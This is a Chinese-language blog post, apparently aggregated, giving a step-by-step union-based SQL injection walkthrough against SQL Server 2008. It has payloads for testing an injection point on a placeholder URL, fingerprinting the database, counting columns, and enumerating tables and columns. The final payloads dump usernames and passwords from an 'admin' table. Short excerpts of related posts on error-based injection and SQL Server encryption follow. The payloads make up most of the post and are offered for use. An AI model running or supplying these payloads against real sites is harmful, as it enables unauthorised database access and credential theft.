SQL注入 sql server

2021-07-23 09:34:54 字數 2123 閱讀 8352

談到sql注入,不得不提它的本質,把使用者的輸入資料當做**來執行。兩個關鍵條件,第乙個是使用者能夠控制的輸入;第二個是程式要執行的**,拼接了使用者輸入的資料

按照注入的技術型別可分解為:

顯錯注入和盲注入,其中盲注入可分為,聯合查詢注入,堆查詢注入,dns查詢注入,報錯注入,延時注入和布林注入。這篇文章重點在分享一些聯合查詢注入的命令

1.首先來判斷注入點(url類)

當目標url為:www.target.com/1.php?id=88時,來進行簡單的注入點判斷;

www.target.com/1.php?id=88-0 無變化

www.target.com/1.php?id=88-1 報錯

www.target.com/1.php?id=88 and 1=1 無變化

www.target.com/1.php?id=88-1 and 1=2 報錯

2.判斷是何種資料庫

url+/*!%20s*/ 錯誤則是mysql

;url+/*pc 正常為mysql

url+and exists(select @@version)-- 正常為sql server

3.sql server 2008注入過程

判斷字段數:

id=1/**/order/**/by/**/5/**/-- 正常則字段數≥5      --和/**/均為注釋用來注釋執行語句時的** 保證注入**正常執行

id=1/**/order/**/by/**/6/**/-- 錯誤則字段數<6

判斷資料型別,字元型就可以sql注入了

id=1/**/union/**/all/**/select/**/null,null,null,null,null--   正常

id=1/**/union/**/all/**/select/**/null,null,』test』,null,null--    正常 (一位一位去嘗試)

顯示資料庫版本

id=1/**/and/**/1=2/**/union/**/all/**/select/**/null,null,@@version,null,null--

當前庫名

and/**/1=2/**/union/**/all/**/select/**/null,db_name(),null,null,null from sysobjects--

指定庫表名

and/**/1=2/**/union/**/all/**/select/**/null,(select top 1 name from庫名..sysobjects where xtype='u' and name not in(select top 0 name from 庫名..sysobjects where

xtype='u')),null,null,null from sysobjects--

當前庫查詢表

and/**/1=2/**/union/**/all/**/select/**/null,(select top 1 name from sysobjects where xtype='u' and name not in(select top 0 name from sysobjects where

xtype='u')),null,null,null from sysobjects--     //第二個top從0開始輸入 1,2,....列出當前庫所有表名

查詢admin變內的字段

d=1/**/and/**/1=2/**/union/**/all/**/select/**/null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='admin') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects where name='admin'))),null,null,null fromsysobjects--//第二個top從0開始遍歷

檢視admin變欄位id,username,password的內容

id=1 and 1=2 union all select id,username,password,null,null from admin--

webshell寫入和系統命令執行就不能再分享了

sql注入 sqlserver報錯注入

該注入的條件是必須有報錯資訊 用到函式convert int,select top 1 db name 其含義是將第二個引數的值轉換成第乙個引數的int型別 一 開啟檔案,如下圖所示,有報錯資訊 二 檢視資料庫 輸入 and 1 convert int,select top 1 db name 這裡...

SQL Server加密與SQL注入

sql server上的加密 sql server上內建了加密用來保護各種型別的敏感資料。在很多時候,這個加密對於你來說是完全透明的 當資料被儲存時候被加密,它們被使用的時候就會自動加密。在其他的情況下,你可以選擇資料是否要被加密。sql server可以加密下列這些元件 密碼 儲存過程,檢視,觸發...

sql注入 sqlserver聯合查詢

實驗環境 sqlserver 2008 實驗步驟 一 判斷是否有注入 分別輸入ip 1.php?id 1 and 1 1和ip 1.php?id 1 and 1 2可判斷出該處存在注入 二 判斷顯示位 1.輸入 order by 3,顯示出第三列 2.輸入 order by 4,顯示下面情況,說明顯...